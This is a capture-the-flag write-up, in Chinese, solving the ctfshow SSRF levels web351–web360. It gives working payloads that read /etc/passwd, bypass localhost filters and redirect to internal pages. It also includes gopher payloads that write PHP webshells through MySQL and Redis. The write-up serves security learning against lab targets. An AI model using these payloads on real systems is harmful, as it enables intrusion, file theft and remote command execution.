ctfshow-web入门-SSRF(web351-web360)

目录

1、web351

2、web352

3、web353

4、web354

5、web355

6、web356

7、web357

8、web358

9、web359

10、web360


1、web351

看到 curl_exec 函数,很典型的 SSRF

尝试使用 file 协议读文件:

复制代码
url=file:///etc/passwd

成功读取到 /etc/passwd

同理我们可以把 flag 给读出来:

复制代码
url=file:///var/www/html/flag.php

结合这个代码我们可以发现,请求来自本地就可以了

那么我们也可以这样打:

复制代码
url=http://127.0.0.1/flag.php

2、web352

限制只能使用 http 或者 https 协议,并且禁止本地地址访问

但是???

我们还是绕一下吧,比如十六进制绕过,payload:

复制代码
url=http://0x7F000001/flag.php

3、web353

这次检测的是 127.0. 开头的

上一题 payload 可用,此外很有很多其他的,比如:

复制代码
url=http://0/flag.php

url=http://127.1/flag.php

4、web354

这次直接检查 0 和 1

采用一些解析到本地的域名绕过:

payload:

复制代码
url=http://sudo.cc/flag.php

5、web355

限制 host 长度小于等于 5

这个就很简单了,直接拿前面的 payload 打:

复制代码
url=http://0/flag.php

6、web356

限制 host 长度小于等于 3

上一题 payload 可用:

复制代码
url=http://0/flag.php

7、web357

使用 gethostbyname() 将 URL 中的域名解析为对应的 IP 地址

通过 filter_var() 验证得到的 IP 地址是否为有效的公共 IP 地址,并且不是私有或保留地址

使用 file_get_contents() 获取并输出该 URL 对应的内容

利用 Location 进行重定向,写一个重定向的文件 my6n.php 在服务器上:

php 复制代码
<?php
header("Location:http://127.0.0.1/flag.php"); 

payload:

php 复制代码
url=http://ip/my6n.php

8、web358

匹配以 http://ctf. 开头,并且以 show 结尾

采用 @ 截断,payload:

php 复制代码
url=http://ctf.@127.0.0.1/flag.php?show

9、web359

打无密码的mysql

用 Gopher 协议打无密码的 mysql

这里的 SSRF 是url_exec() 造成的,因此我们 payload 需要再进行一次 url 编码:

在 check.php 给 returl 传参

php 复制代码
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2548%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%256d%2579%2536%256e%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

调用

读取 flag

10、web360

打redis

用 Gopher 协议打 Redis

生成默认木马:shell.php 密码是cmd

但是访问 shell.php 发现结果有乱码

不太行,直接命令执行看结果吧

payload:

php 复制代码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527tac%2520/f%252A%2527%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

至此 SSRF 结束

My6n,20241116

相关推荐
大鹏说大话2 小时前
SSL证书自动化的未来:ACME协议与Let’s Encrypt实践
网络·安全
handler012 小时前
从源码到二进制:深度拆解 Linux 下 C 程序的编译与链接全流程
linux·c语言·开发语言·c++·笔记·学习
电子云与长程纠缠2 小时前
UE5 两种方式解决Decal Actor贴花拉伸问题
学习·ue5·游戏引擎
red_redemption3 小时前
自由学习记录(172)
学习·cache line 64b·重用距离
网络安全许木3 小时前
自学渗透测试第21天(基础命令复盘与DVWA熟悉)
开发语言·网络安全·渗透测试·php
天天进步20153 小时前
打破沙盒限制:OpenWork 如何通过权限模型实现安全的系统级调用?
人工智能·安全
骥龙3 小时前
第十篇:合规与未来展望——构建AI智能体安全标准
人工智能·安全
阿荻在肝了3 小时前
Agent学习六:LangGraph学习-持久化与记忆一
python·学习·agent
数字供应链安全产品选型3 小时前
2026年4月22日:当Hermes Agent开启“自主进化”时代,智能体安全是否已成为企业数字化转型的“阿喀琉斯之踵”?
安全
xiaozhazha_3 小时前
企业级AI CRM安全架构深度解析:从OpenClaw风险到快鹭智能CRM的“四重护栏”实践
人工智能·安全·安全架构